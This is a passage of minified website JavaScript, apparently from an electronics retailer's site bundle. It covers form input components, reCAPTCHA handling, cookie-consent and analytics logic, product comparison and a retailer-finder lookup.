t=!(this.required&&!e.target.checked)||"";this[this.inputId]=t,this.$v[this.inputId]&&this.$v[this.inputId].$touch(),this.toggleErrorMessages(),this.$store.commit("setInputValue",{inputId:this.inputId,value:{value:t,invalid:this.$v.$invalid}})},toggleErrorMessages(){this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))}},validations(){return F(this)},mounted(){this.errorMessages={required:{status:this.required,errorMessage:this.requiredText}},Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=!0})),this.required&&this.$store.watch((e=>e.form.inputFields),(e=>{e.toggleErrorMessages&&this.toggleErrorMessages()}))}},X=I(K,G,[],!1,null,null,null).exports;var Z=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",[i("div",{staticClass:"Mt(20px) JS-input-file FileUploader__root",on:{click:function(t){e.$refs.file.click()}}},[i("div",{staticClass:"FileUploader__preloader"}),e._v(" "),i("div",{staticClass:"FileUploader__preloaderIconWrapper"},[i("svg",{staticClass:"FileUploader__checkmarkIcon Icon__root",attrs:{width:"22",height:"17"}},[i("use",{attrs:{"xlink:href":"#checkmark"}})]),e._v(" "),i("svg",{staticClass:"FileUploader__errorIcon Icon__root",attrs:{width:"12",height:"12"}},[i("use",{attrs:{"xlink:href":"#x"}})])]),e._v(" "),i("div",{staticClass:"JS-input-file-title FileUploader__uploadTitle"},[e._v(e._s(e.label))]),e._v(" "),i("div",{staticClass:"FileUploader__uploadIconWrapper FileUploader__iconWrapper"},[i("svg",{staticClass:"FileUploader__icon FileUploader__uploadIcon Icon__root",attrs:{width:"15.8",height:"19.4"}},[i("use",{attrs:{"xlink:href":"#upload"}})])]),e._v(" "),i("div",{staticClass:"FileUploader__photoIconWrapper FileUploader__iconWrapper"},[i("svg",{staticClass:"FileUploader__icon FileUploader__photoIcon Icon__root",attrs:{width:"26",height:"19"}},[i("use",{attrs:{"xlink:href":"#photo"}})])]),e._v(" "),i("input",{ref:"file",staticClass:"hide JS-input-file-selector",attrs:{type:"file",name:e.inputId,multiple:"","data-type-limit":e.types.join(" "),"data-size-limit":e.size},on:{input:e.updateInput}})]),e._v(" "),e._l(Object.keys(e.errorMessages),(function(t){return i("div",[i("p",{directives:[{name:"show",rawName:"v-show",value:!e.isValid[t],expression:"!isValid[item]"}],staticClass:"validation-error"},[e._v("\n            "+e._s(e.errorMessages[t].errorMessage))])])})),e._v(" "),e._l(e.fileList,(function(t,n){return i("span",{key:n},[i("span",{staticClass:"Mt(10px) FileUploader__uploadWarning"},[e._v(e._s(t.name)+"\n            "),n+1<e.fileList.length?i("span",[e._v(", ")]):e._e()])])})),e._v(" "),i("div",{staticClass:"Mt(10px) FileUploader__uploadWarning"},[e._v(e._s(e.description)+"\n    ")])],2)};Z._withStripped=!0;const Q={data(){const e={};return e[this.inputId]="",e.errorMessages={},e.isValid={},e.reader=null,e.fileName=null,e.fileList=[],e},props:{inputId:{type:String},size:{type:String},types:{type:Array},label:{type:String},description:{type:String},required:{type:Boolean},requiredText:{type:String},fileValidSize:{type:String},fileValidSizeText:{type:String},fileValidType:{type:String},fileValidTypeText:{type:String}},methods:{async updateInput(e){this.fileList=[];const t=e.target.files;if(console.debug("fileList:",t),t&&t.length>0)for(let e of t){console.debug("updateInput:file",e),this[this.inputId]=e,this.$v[this.inputId]&&this.$v[this.inputId].$touch(),this.fileList.push(e);const i=await this.readFile(e);this.$store.commit("setInputValues",{inputId:this.inputId,values:{values:{uploadedFiles:t,body:i},invalid:this.$v.$invalid}}),this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))}else this.$store.commit("setInputValues",{inputId:this.inputId,values:{values:null,invalid:this.$v.$invalid}})},readFile:e=>new Promise((t=>{const i=new FileReader;i.addEventListener("load",(function(){t(i.result)}),!1),e&&i.readAsDataURL(e)})),toggleErrorMessages(){this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))}},validations(){return F(this)},mounted(){this.errorMessages={required:{status:this.required,errorMessage:this.requiredText},fileValidSize:{status:this.fileValidSize,errorMessage:this.fileValidSizeText},fileValidType:{status:this.fileValidType,errorMessage:this.fileValidTypeText}},Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=!0})),this.$store.watch((e=>e.form.inputFields),(e=>{e.toggleErrorMessages&&this.toggleErrorMessages()}))}},ee=I(Q,Z,[],!1,null,null,null).exports;var te=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",{staticClass:"Mt(40px) Mx(a) W(304px)"},[i("vue-recaptcha",{ref:"recaptcha",attrs:{sitekey:e.clientKey},on:{verify:e.onCaptchaVerified,expired:e.onCaptchaExpired}}),e._v(" "),e._l(Object.keys(e.errorMessages),(function(t){return i("div",[i("p",{directives:[{name:"show",rawName:"v-show",value:!e.isValid[t],expression:"!isValid[item]"}],staticStyle:{color:"#e40313"}},[e._v("\n            "+e._s(e.errorMessages[t].errorMessage))])])}))],2)};te._withStripped=!0;var ie,ne=(ie=function(){var e=!1,t=[];return{resolved:function(){return e},resolve:function(i){if(!e){e=!0;for(var n=0,r=t.length;n<r;n++)t[n](i)}},promise:{then:function(i){e?i():t.push(i)}}}}(),{notify:function(){ie.resolve()},wait:function(){return ie.promise},render:function(e,t,i){this.wait().then((function(){i(window.grecaptcha.render(e,t))}))},reset:function(e){void 0!==e&&(this.assertLoaded(),this.wait().then((function(){return window.grecaptcha.reset(e)})))},execute:function(e){void 0!==e&&(this.assertLoaded(),this.wait().then((function(){return window.grecaptcha.execute(e)})))},checkRecaptchaLoad:function(){window.hasOwnProperty("grecaptcha")&&window.grecaptcha.hasOwnProperty("render")&&this.notify()},assertLoaded:function(){if(!ie.resolved())throw new Error("ReCAPTCHA has not been loaded")}});"undefined"!=typeof window&&(window.vueRecaptchaApiLoaded=ne.notify);var re=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var n in i)Object.prototype.hasOwnProperty.call(i,n)&&(e[n]=i[n])}return e};const se={data(){const e={};return e[this.inputId]="",e.errorMessages={},e.isValid={},e},components:{VueRecaptcha:{name:"VueRecaptcha",props:{sitekey:{type:String,required:!0},theme:{type:String},badge:{type:String},type:{type:String},size:{type:String},tabindex:{type:String}},mounted:function(){var e=this;ne.checkRecaptchaLoad();var t=re({},this.$props,{callback:this.emitVerify,"expired-callback":this.emitExpired}),i=this.$slots.default?this.$el.children[0]:this.$el;ne.render(i,t,(function(t){e.$widgetId=t,e.$emit("render",t)}))},methods:{reset:function(){ne.reset(this.$widgetId)},execute:function(){ne.execute(this.$widgetId)},emitVerify:function(e){this.$emit("verify",e)},emitExpired:function(){this.$emit("expired")}},render:function(e){return e("div",{},this.$slots.default)}}},props:{inputId:{type:String},required:{type:Boolean},requiredText:{type:String},clientKey:{type:String}},methods:{onCaptchaVerified(e){this[this.inputId]=e,this.$v[this.inputId].$touch(),this.toggleErrorMessages(),this.$store.commit("setInputValue",{inputId:this.inputId,value:{value:e,invalid:this.$v.$invalid}})},onCaptchaExpired(){this[this.inputId]="",this.$v[this.inputId]&&this.$v[this.inputId].$touch(),this.$store.commit("setInputValue",{inputId:this.inputId,value:{value:"",invalid:this.$v.$invalid}}),console.log("recaptcha expired")},toggleErrorMessages(){this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))}},validations(){return F(this)},mounted(){this.errorMessages={required:{status:this.required,errorMessage:this.requiredText}},Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=!0})),this.required&&this.$store.watch((e=>e.form.inputFields),(e=>{e.toggleErrorMessages&&this.toggleErrorMessages()}))}},ae=I(se,te,[],!1,null,null,null).exports;var oe=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",{staticClass:"Mt(20px)--sm FormDropdown__root"},[i("div",{staticClass:"JS-form-dropdown JS-dropdown Dropdown__root"},[i("button",{staticClass:"JS-dropdown-button FormDropdown__button",attrs:{"aria-label":"dropdown",type:"button"}},[i("div",{staticClass:"FormDropdown__title"},[e._v(e._s(e.title))]),e._v(" "),i("div",{staticClass:"JS-button-text"}),e._v(" "),i("div",{staticClass:"FormDropdown__iconWrapper"},[i("svg",{staticClass:"FormDropdown__dropdownIcon Icon__root",attrs:{width:"14",height:"9"}},[i("use",{attrs:{"xlink:href":"#dropdown"}})])]),e._v(" "),i("input",{staticClass:"FormDropdown__shadowCopy",attrs:{name:e.inputId},on:{blur:function(t){e.blurInput()}}})]),e._v(" "),i("ul",{staticClass:"fullWidth JS-dropdown-list JS-dropdown-content Dropdown__dropdownContent"},e._l(e.items,(function(t){return i("li",{staticClass:"Dropdown__dropdownItem"},[i("button",{staticClass:"JS-dropdown-item-button Dropdown__dropdownButton",attrs:{"aria-label":"dropdown",type:"button"},on:{click:function(i){e.updateInput({target:{value:t.title}})}}},[i("div",{staticClass:"buttonInner JS-option-title",attrs:{"data-title":t.title}},[e._v(e._s(t.title))])])])})),0)]),e._v(" "),e._l(Object.keys(e.errorMessages),(function(t){return i("div",[i("p",{directives:[{name:"show",rawName:"v-show",value:!e.isValid[t],expression:"!isValid[item]"}],staticStyle:{color:"#e40313"}},[e._v("\n            "+e._s(e.errorMessages[t].errorMessage))])])}))],2)};oe._withStripped=!0;const le={data(){const e={};return e[this.inputId]="",e.errorMessages={},e.isValid={},e},props:{inputId:{type:String},title:{type:String},items:{type:Array},required:{type:Boolean},requiredText:{type:String}},methods:{updateInput(e){this[this.inputId]=e.target.value,this.$v[this.inputId]&&this.$v[this.inputId].$touch(),this.toggleErrorMessages(),this.$store.commit("setInputValue",{inputId:this.inputId,value:{value:e.target.value,invalid:this.$v.$invalid}})},blurInput(){this.toggleErrorMessages()},toggleErrorMessages(){this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))}},validations(){return F(this)},mounted(){this.errorMessages={required:{status:this.required,errorMessage:this.requiredText}},Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=!0})),this.$store.watch((e=>e.form.inputFields),(e=>{e.toggleErrorMessages&&this.toggleErrorMessages()}))}},ue=I(le,oe,[],!1,null,null,null).exports;var ce=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",{staticClass:"Mt(20px) DatePicker__root"},[i("div",{staticClass:"Mt(20px) JS-input-text Input__root "},[i("div",{staticClass:"JS-input-field Input__inputField "},[i("input",{staticClass:"JS-input-selector Input__input",attrs:{type:"text","data-toggle":"datepicker",readonly:"",name:e.inputId},on:{input:e.updateInput}}),e._v(" "),i("span",{staticClass:"JS-input-placeholder Input__placeholder"},[i("span",[e._v(e._s(e.label))])]),e._v(" "),i("svg",{staticClass:"Input__calendarIcon Icon__root",attrs:{width:"19",height:"19"}},[i("use",{attrs:{"xlink:href":"#calendar"}})])]),e._v(" "),e._l(Object.keys(e.errorMessages),(function(t){return i("div",[i("p",{directives:[{name:"show",rawName:"v-show",value:!e.isValid[t],expression:"!isValid[item]"}],staticStyle:{color:"#e40313"}},[e._v("\n                "+e._s(e.errorMessages[t].errorMessage))])])}))],2)])};ce._withStripped=!0;const de={data(){const e={};return e[this.inputId]=new Date,e.errorMessages={},e.isValid={},e},props:{inputId:{type:String},label:{type:String},required:{type:Boolean},requiredText:{type:String}},methods:{updateInput(e){this[this.inputId]=e.target.value,this.$v[this.inputId]&&this.$v[this.inputId].$touch(),this.$store.commit("setInputValue",{inputId:this.inputId,value:{value:e.target.value,invalid:this.$v.$invalid}})},blurInput(){this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))},toggleErrorMessages(){this.$v[this.inputId]&&Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=this.$v[this.inputId][e],this.isValid={...this.isValid}}))}},validations(){return F(this)},mounted(){this.errorMessages={required:{status:this.required,errorMessage:this.requiredText}},Object.keys(this.errorMessages).forEach((e=>{this.isValid[e]=!0})),this.$store.watch((e=>e.form.inputFields),(e=>{e.toggleErrorMessages&&this.toggleErrorMessages()}))}},he=I(de,ce,[],!1,null,null,null).exports;var pe=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",[i("div",{staticClass:"Mt(20px) JS-input-text JS-input-text Input__root"},[i("div",{staticClass:"JS-input-field Input__inputField"},[i("input",{staticClass:"JS-input-selector Input__input",attrs:{id:this.inputId+"_autocomplete",name:this.inputId+"_autocomplete",type:"text","data-toggle":"",placeholder:""},on:{input:e.updateInput,blur:e.blurInput}}),e._v(" "),i("span",{staticClass:"JS-input-placeholder Input__placeholder"},[i("span",[e._v(e._s(e.searchLabel))])])]),e._v(" "),e._l(Object.keys(e.errorMessages),(function(t){return i("div",[i("p",{directives:[{name:"show",rawName:"v-show",value:!e.isValid[t],expression:"!isValid[item]"}],staticStyle:{color:"#e40313"}},[e._v("\n                "+e._s(e.errorMessages[t].errorMessage))])])}))],2)])};pe._withStripped=!0;var fe=i(96486),me=i(36808),ge=i.n(me);new TextEncoder;const _e=new TextDecoder;class ve extends Error{static get code(){return"ERR_JOSE_GENERIC"}constructor(e){var t;super(e),this.code="ERR_JOSE_GENERIC",this.name=this.constructor.name,null===(t=Error.captureStackTrace)||void 0===t||t.call(Error,this,this.constructor)}}class ye extends ve{constructor(){super(...arguments),this.code="ERR_JWT_INVALID"}static get code(){return"ERR_JWT_INVALID"}}Symbol.asyncIterator;const be=crypto;function we(e){if("string"!=typeof e)throw new ye("JWTs must use Compact JWS serialization, JWT must be a string");const{1:t,length:i}=e.split(".");if(5===i)throw new ye("Only JWTs using Compact JWS serialization can be decoded");if(3!==i)throw new ye("Invalid JWT");if(!t)throw new ye("JWTs must contain a payload");let n,r;try{n=(e=>{let t=e;t instanceof Uint8Array&&(t=_e.decode(t)),t=t.replace(/-/g,"+").replace(/_/g,"/").replace(/\s/g,"");try{return(e=>{const t=atob(e),i=new Uint8Array(t.length);for(let e=0;e<t.length;e++)i[e]=t.charCodeAt(e);return i})(t)}catch(e){throw new TypeError("The input to be decoded is not correctly encoded.")}})(t)}catch(e){throw new ye("Failed to base64url decode the payload")}try{r=JSON.parse(_e.decode(n))}catch(e){throw new ye("Failed to parse the decoded payload as JSON")}if(!function(e){if("object"!=typeof(t=e)||null===t||"[object Object]"!==Object.prototype.toString.call(e))return!1;var t;if(null===Object.getPrototypeOf(e))return!0;let i=e;for(;null!==Object.getPrototypeOf(i);)i=Object.getPrototypeOf(i);return Object.getPrototypeOf(e)===i}(r))throw new ye("Invalid JWT Claims Set");return r}be.getRandomValues.bind(be),Symbol();const Te=new class{insertLoader(e){if(void 0!==e&&null!=e){let t=$.trim($("#ajaxPreloader").html());if(e.center){const e=$("<div />",{html:t});e.children(":first").addClass("H(100%)").addClass("W(100%)"),t=e.html()}if(e.overlay){const i=$("<div />",{html:t});i.css("right",0).css("bottom",0).css("background-color","rgba(0, 0, 0, 0.2)").css("z-index",9999).css("cursor","pointer").css("width","100%").css("height","100%").css("position","absolute").css("top",0).css("left",0),e.container.append(i)}else e.container.html(t)}}},ke=new class{constructor(){this._selectors={policyContainer:".CookiePolicyMainContainer",policy:".CookiePolicyBanner",cookieAcceptButton:".JS-cookie-accept",cookieCloseButton:".JS-cookie-close",consentCookie:"#one-trust-consent-enabled",oneTrustCookieButtons:"#onetrust-accept-btn-handler, #accept-recommended-btn-handler, #cookie-preferences .save-preference-btn-handler"},this._cookie={name:"complianceCookie",value:"on",duration:14,dropCookie:!0},this._listeners=[],this.bindEvents()}bindEvents(){$(document).on("click",this._selectors.cookieAcceptButton,(e=>{this.createCookie(this._cookie.name,this._cookie.value,this._cookie.duration),$(this._selectors.policy).hide(),$(this._selectors.policyContainer).hide(),$("#pdp-overlay .JS-scroll-to-top").removeClass("cookiePolicyBottom"),$("#pdp-overlay .OverlayPDP__right1").removeClass("cookiePolicyBottom"),$("#pdp-overlay .OverlayPDP__right2").removeClass("cookiePolicyBottom2"),this.triggerConsentChanged()})),$(document).on("click",this._selectors.cookieCloseButton,(e=>{$(this._selectors.policy).hide(),$(this._selectors.policyContainer).hide(),$("#pdp-overlay .JS-scroll-to-top").removeClass("cookiePolicyBottom"),$("#pdp-overlay .OverlayPDP__right1").removeClass("cookiePolicyBottom"),$("#pdp-overlay .OverlayPDP__right2").removeClass("cookiePolicyBottom2")})),window.onload=()=>{"undefined"!=typeof OneTrust&&OneTrust.OnConsentChanged((()=>{this.createCookie(this._cookie.name,this._cookie.value,365),this.triggerConsentChanged()})),this.oneTrustCookieEnabled()?this.accepted()||this.disableScroll():this.accepted()||($(this._selectors.policy).show(),$(".JS-scroll-to-top.OverlayPDP__left").addClass("cookiePolicyBottom"),$("#pdp-overlay .OverlayPDP__right1").addClass("cookiePolicyBottom"),$(".OverlayPDP__right2.OverlayPDP__animLeft").addClass("cookiePolicyBottom2"),$(this._selectors.policyContainer).show())}}createCookie(e,t,i){let n;if(i){let e=new Date;e.setTime(e.getTime()+24*i*60*60*1e3),n="; expires="+e.toGMTString()}else n="";this._cookie.dropCookie&&(document.cookie=e+"="+t+n+"; path=/")}accepted(){let e;return this.oneTrustCookieEnabled()?(e=document.cookie.indexOf("OptanonAlertBoxClosed"),-1!==e):(e=document.cookie.indexOf("complianceCookie"),-1!==e)}oneTrustCookieEnabled(){return $(this._selectors.consentCookie)&&0!==$(this._selectors.consentCookie).length}eraseCookie(e){createCookie(e,"",-1)}onConsentChanged(e){this._listeners.push(e)}triggerConsentChanged(){this.accepted()&&this.enableScroll(),this._listeners.forEach((e=>e()))}disableScroll(){document.body.style.overflow="hidden",document.body.style.height="100%"}enableScroll(){document.body.style.overflow="auto",document.body.style.height="auto"}},Se=new class{constructor(){this._selectors={ecommerceGtm:"#ecommerceGtm",gtmCustom:".JS-pageload-custom",gtmButton:".JS-send-gtm",gtmProductButton:".JS-send-gtm-product"},this._dataKeys={gtmEvent:"gtm-event",gtmData:"gtm-data",productCode:"product-code"},this.dataLayer=window.dataLayer||[],this.setSelectors(),this.bindEvents()}setSelectors(){this.gtmEcommerceData=$(this._selectors.ecommerceGtm),this.gtmCustomData=$(this._selectors.gtmCustom)}bindEvents(){$(document).ready((()=>{ke.onConsentChanged((()=>{this.processGtmData()})),this.processGtmData()})),$(document).on("click",this._selectors.gtmButton,(e=>{if(!ke.accepted())return;const t=$(e.currentTarget),i=t.data(this._dataKeys.gtmEvent),n=t.data(this._dataKeys.gtmData);this.checkToggleButtonOpenEvent(t)&&this.handleGtmClick(i,n)})),$(document).on("click",this._selectors.gtmProductButton,(e=>{if(!ke.accepted())return;const t=$(e.currentTarget),i=t.data(this._dataKeys.gtmEvent),n=t.data(this._dataKeys.gtmData);if(this.checkToggleButtonOpenEvent(t)&&this.dataLayer&&n){const e=this._dataKeys.productCode;$(this._selectors.gtmProductButton).each((function(i){const r=$(this).data(e);t.data(e)===r&&n.ecommerce&&n.ecommerce.click&&n.ecommerce.click.products&&n.ecommerce.click.products.length>0&&(n.ecommerce.click.products[0].position=i)})),dataLayer.push({ecommerce:null}),this.handleGtmClick(i,n)}}))}processGtmData(){if(!ke.accepted())return;const e=this.gtmEcommerceData.val(),t=this.getCustomPageLoadData();e&&this.handleGtmPageLoad(JSON.parse(e)),t&&0!==t.length&&t.forEach((e=>this.handleGtmPageLoad(e)))}getCustomPageLoadData(){const e=[];try{$(this.gtmCustomData).each(((t,i)=>{const n=$(i).val();e.push(JSON.parse(n))}))}catch(e){console.log(e)}return e}sendDataToGtm(e){ke.accepted()&&this.dataLayer&&e&&this.dataLayer.push(e)}handleGtmClick(e,t){this.sendDataToGtm({event:e,...t})}handleGtmPageLoad(e){this.sendDataToGtm({...e})}checkToggleButtonOpenEvent(e){return!e.hasClass("JS-toggle-button")&&!e.hasClass("JS-toggle")||e.is(".JS-toggle.open")||!e.parent().is(".JS-toggle.open")}};let Me;const xe=new class{constructor(){this._selectors={headerTop:".HeaderTop__root",add:".JS-compare-add",remove:".JS-compare-remove",clearAll:".JS-compare-clear-all",clearAllMessage:".JS-compare-clear-all-message",clearAllConfirm:".JS-compare-clear-all-confirm",clearAllCancel:".JS-compare-clear-all-cancel",confirm:".JS-compare-message-categorychange-confirm",cancel:".JS-compare-message-categorychange-cancel",message:".JS-compare-message",messageCategoryChange:".JS-compare-message-categorychange",messageAdded:".JS-compare-message-added",messageRemoved:".JS-compare-message-removed",messageFull:".JS-compare-message-full",messageMinimumProduct:".JS-compare-message-minimum-product",tableContainer:".JS-compare-container",compareBlock:".JS-compare-block",showDifference:".JS-show-difference"},this._maximumItemsLength=4,$(document).ready((()=>this._initialize()))}_buildEndpointUrl(){const e=$(document.body).data("site-name"),t=$(document.body).data("country-code"),i=$(document.body).data("language-code");return"/rainbow/api/comparison?site=".concat(e,"&country=").concat(t,"&language=").concat(i)}_buildCookieName(){const e=$(document.body).data("site-name"),t=($(document.body).data("country-code")||"").toLowerCase(),i=($(document.body).data("language-code")||"").toLowerCase();return"Comparison-".concat(e,"-").concat(t,"-").concat(i)}_loadData(){const e={codes:[],category:null};try{const t=new URLSearchParams(location.search);if(t.has("codes")){const i=t.get("codes");return e.codes=i.split(","),e.category=t.get("category"),e}const i=($(document.body).attr("data-comparison-codes")||"").split(",").map((e=>e.trim())).filter((e=>""!==e)),n=$(document.body).attr("data-comparison-category")||"";return fe.isEmpty(i)||fe.isEmpty(n)?e:{codes:i,category:n}}catch(t){return console.error(t),e}}_saveData(e){try{const t=filterXSS(location.search),i=new URLSearchParams(t);i.has("codes")&&(i.set("codes",fe.join(e.codes,",")),history.replaceState(history.state,document.title,"".concat(location.origin).concat(location.pathname,"?").concat(i.toString())));const n=e&&e.codes&&e.codes.length?e.codes.join(","):"";$(document.body).attr("data-comparison-codes",n),$(document.body).attr("data-comparison-category",e.category||""),$(document).trigger("header:update")}catch(e){console.error(e)}}_renderButtons(){$(this._selectors.add).removeClass("active"),this._loadData().codes.forEach((e=>{$("".concat(this._selectors.add,"[data-code=").concat(e,"]")).each(((e,t)=>{"a"===$(t).prop("tagName").toLowerCase()?$(t).toggleClass("Button__secondary"):$(t).toggleClass("active")}))}))}_initializeData(){const e=this._buildCookieName(),t=ge().get(e);if(fe.isEmpty(t))return;const i=we(t);fe.isEmpty(i)||this._saveData(i)}_initializeButtons(){this._renderButtons();const e=$.proxy(this._handleToggle,this);$(document).on("click",this._selectors.add,e);const t=$.proxy(this._handleConfirm,this);$(document).on("click",this._selectors.confirm,t);const i=$.proxy(this._handleCancel,this);$(document).on("click",this._selectors.cancel,i)}_initializeTableButtons(){const e=$.proxy(this._handleRemove,this);$(this._selectors.remove).click(e);const t=$.proxy(this._handleClearAll,this);$(this._selectors.clearAll).click(t);const i=$.proxy(this._handleShowDifference,this);$(this._selectors.showDifference).click(i)}_initializeTableMessage(){const e=$.proxy(this._handleClearAllConfirm,this);$(document).on("click",this._selectors.clearAllConfirm,e);const t=$.proxy(this._handleClearAllCancel,this);$(document).on("click",this._selectors.clearAllCancel,t)}_initializeTable(){$(this._selectors.tableContainer).length&&$(this._selectors.tableContainer).is(":empty")?this._loadTable():this._initializeTableButtons()}_initialize(){this._initializeData(),this._initializeButtons(),this._initializeTableMessage(),this._initializeTable()}_showMessage(e){const t=$(e);t.hasClass("active")?(t.removeClass("active"),clearTimeout(Me)):(t.addClass("active"),setTimeout((()=>{Me=t.removeClass("active")}),3e3))}_showConfirm(e){const t=$(this._selectors.confirm);t.data("code",e.code),t.data("categories",e.categories),this._showMessage(this._selectors.messageCategoryChange)}_showAdded(){this._showMessage(this._selectors.messageAdded)}_showRemoved(){this._showMessage(this._selectors.messageRemoved)}_showFull(){this._showMessage(this._selectors.messageFull)}_showMinimumProduct(){this._showMessage(this._selectors.messageMinimumProduct)}_toggleItem(e){if(fe.isEmpty(e))throw new Error("productData argument can not be empty.");$.ajax({type:"POST",dataType:"json",url:this._buildEndpointUrl(),data:{category:e.categories,code:e.code},success:t=>{this._saveData(t),$("".concat(this._selectors.add,"[data-code='").concat(e.code,"']")).each(((e,t)=>{"a"===$(t).prop("tagName").toLowerCase()?$(t).toggleClass("Button__secondary"):$(t).toggleClass("active")}))},error:(e,t,i)=>{console.log("Failed to toggle product for comparison.",i)}})}_handleToggle(e){e.preventDefault();const t=$(e.currentTarget).data();if(fe.isEmpty(t))throw new Error("Could not retrieve product data.");if(fe.isNil(t.code))throw new Error("productData.code can not be empty.");const i=$(document.body).attr("data-comparison-category")||"",n=this._loadData();fe.isEmpty(n.codes)||i===t.categories.toString()?!fe.isEmpty(n.codes)&&!fe.includes(n.codes,t.code.toString())&&n.codes.length>=this._maximumItemsLength?this._showFull():this._toggleItem(t):this._showConfirm(t)}_handleConfirm(e){e.preventDefault();const t=$(this._selectors.confirm),i={code:t.data("code"),categories:t.data("categories").toString()};if(fe.isEmpty(i))throw new Error("Could not retrieve product data.");this._saveData({codes:[],category:null}),this._toggleItem(i),this._renderButtons()}_handleCancel(e){e.preventDefault(),$(this._selectors.messageCategoryChange).removeClass("active"),clearTimeout(Me)}_handleRemove(e){e.preventDefault();const t=$(e.currentTarget).data();if(fe.isEmpty(t))throw new Error("Could not retrieve product data.");if(fe.isNil(t.code))throw new Error("productData.code can not be empty.");$.ajax({type:"POST",dataType:"json",url:this._buildEndpointUrl(),data:{category:t.categories,code:t.code},success:e=>{this._saveData(e),this._loadTable()},error:(e,t,i)=>{console.log("Failed to remove product for comparison.",i)}})}_handleClearAll(e){e.preventDefault(),$(this._selectors.clearAllMessage).addClass("active")}_handleShowDifference(e){e.preventDefault(),Se.dataLayer.filter((e=>e&&e.Showdifference)).map((e=>{e.Showdifference=$(this._selectors.showDifference).hasClass("active")?"No":"Yes"}))}_handleClearAllConfirm(e){if(e.preventDefault(),!$(this._selectors.tableContainer).length)return;const t=$(this._selectors.tableContainer).data();if(fe.isEmpty(t))throw new Error("Could not retrieve container data.");$.ajax({type:"DELETE",url:this._buildEndpointUrl(),success:()=>{this._saveData({codes:[],category:null}),location.replace(document.referrer)},error:(e,t,i)=>{console.log("Failed to clear comparison data.",i)}})}_handleClearAllCancel(e){e.preventDefault(),$(this._selectors.clearAllMessage).removeClass("active")}_loadTable(){if(!$(this._selectors.tableContainer).length)return;const e=$(this._selectors.tableContainer).data();if(fe.isEmpty(e))throw new Error("Could not retrieve container data.");const t=this._loadData();if(t.codes.length<=0)return void(e.isEditor||window.location.replace(e.homeUrl));Te.insertLoader({container:$(this._selectors.tableContainer)});const i=filterXSS("".concat(e.ajaxUrl,"?codes=").concat(fe.join(t.codes,",")));$(this._selectors.tableContainer).load(i,(()=>{this._initializeTableButtons();const e=new URLSearchParams(location.search);e.set("codes",fe.join(t.codes,",")),e.set("category",t.category),history.replaceState(history.state,document.title,"".concat(location.origin).concat(location.pathname,"?").concat(e.toString()))}))}render(){this._renderButtons()}},Le=e=>{const t=$(document).has(".JS-reevoo-enabled");if(!t&&0==t.length)return;void 0===window.afterReevooMarkLoaded&&(window.afterReevooMarkLoaded=[]);const i={productId:$(e.currentTarget).attr("data-marketing-code")||"Global CTA",cta:"Find a Dealer"};afterReevooMarkLoaded.push((function(){ReevooLib.track.propensityToBuy(i)}))};$(document).on("click",".JS-find-retailer",(e=>{Le(e)})),new class{constructor(){this.baseConf={div:{marketingCodeId:"marketingCode",retailersCtnId:"retailersCtn",noRetailerFoundCtnId:"noRetailerFoundCtn"}},$(window).load((()=>{$("button[data-modal-id='modal-where-to-buy']").show(),$(document).on("click","button[data-modal-id='modal-where-to-buy']",(e=>{this.initiateRetailers(e),Le(e)})),this.setCountryAndLanguage(),this.baseConf.country=$("#channelAdvisorSettings").data("channelAdvisorCountryCode")||this.baseConf.country,this.baseConf.language=$("#channelAdvisorSettings").data("channelAdvisorLanguageCode")||this.baseConf.language,this.baseConf.retailerHasStock=$("#retailerSettings").data("retailerHasStock")||!1}))}setParameters(e){}initiateRetailers(e){try{const t=$(e.currentTarget),i=t.data("marketingCode"),n=t.data("ean"),r=t.data("product-name"),s=t.data("category-name"),a=t.find("input");$("#JS-marketing-code-container").html(i),a.length>0&&$(".JS-product--find-retailer").attr("href",a.val()),this.fetchOnlineRetailers(i,n,r,s)}catch(e){this.handleError(e)}}fetchOnlineRetailers(e,t,i,n){try{e&&t&&this.getOnlineRetailers(e,t,i,n,this.baseConf.country,this.baseConf.language,this.baseConf.siteName)}catch(e){this.handleError(e)}}getOnlineRetailers(e,t,i,n,r,s,a){fetch(encodeURI("/content/".concat(a,"/").concat(r,"/").concat(s,"/jcr:content.eRetailerSearch.endpoint?marketingCode=").concat(e,"&productEan=").concat(t,"&productName=").concat(i,"&categoryName=").concat(n)),{method:"GET"}).then((e=>e.json())).then((e=>{this.handleResponse(e)})).catch((e=>{this.handleError(e)}))}filterRetailerAccordingStockInfo(e){return this.baseConf.retailerHasStock?e.filter((e=>e.inStock)):e}handleResponse(e){if(e&&e.length>0){let t=this.filterRetailerAccordingStockInfo(e);return this.renderRetailersCtn(t)}return this.renderNoRetailerCtn()}handleError(e){console.error(e),this.renderNoRetailerCtn()}renderRetailersCtn(e){let t=$("#"+this.baseConf.div.retailersCtnId);t.html(""),$("#"+this.baseConf.div.noRetailerFoundCtnId).addClass("hide");const i=$("#channelAdvisorSettings");let n=i.data("outOfStockText")||"Out of Stock",r=i.data("inStockText")||"In Stock";for(let i=0,n=e.length;i!==n;i++){let n=e[i],r=s(n.name,n.logoUrl,n.url,n.inStock);t.append(r)}function s(e,t,i,s){let a="";return a=s?'<div class="Pos(a) h9 W(100%) B(22px) RetailerCard__stockInfo 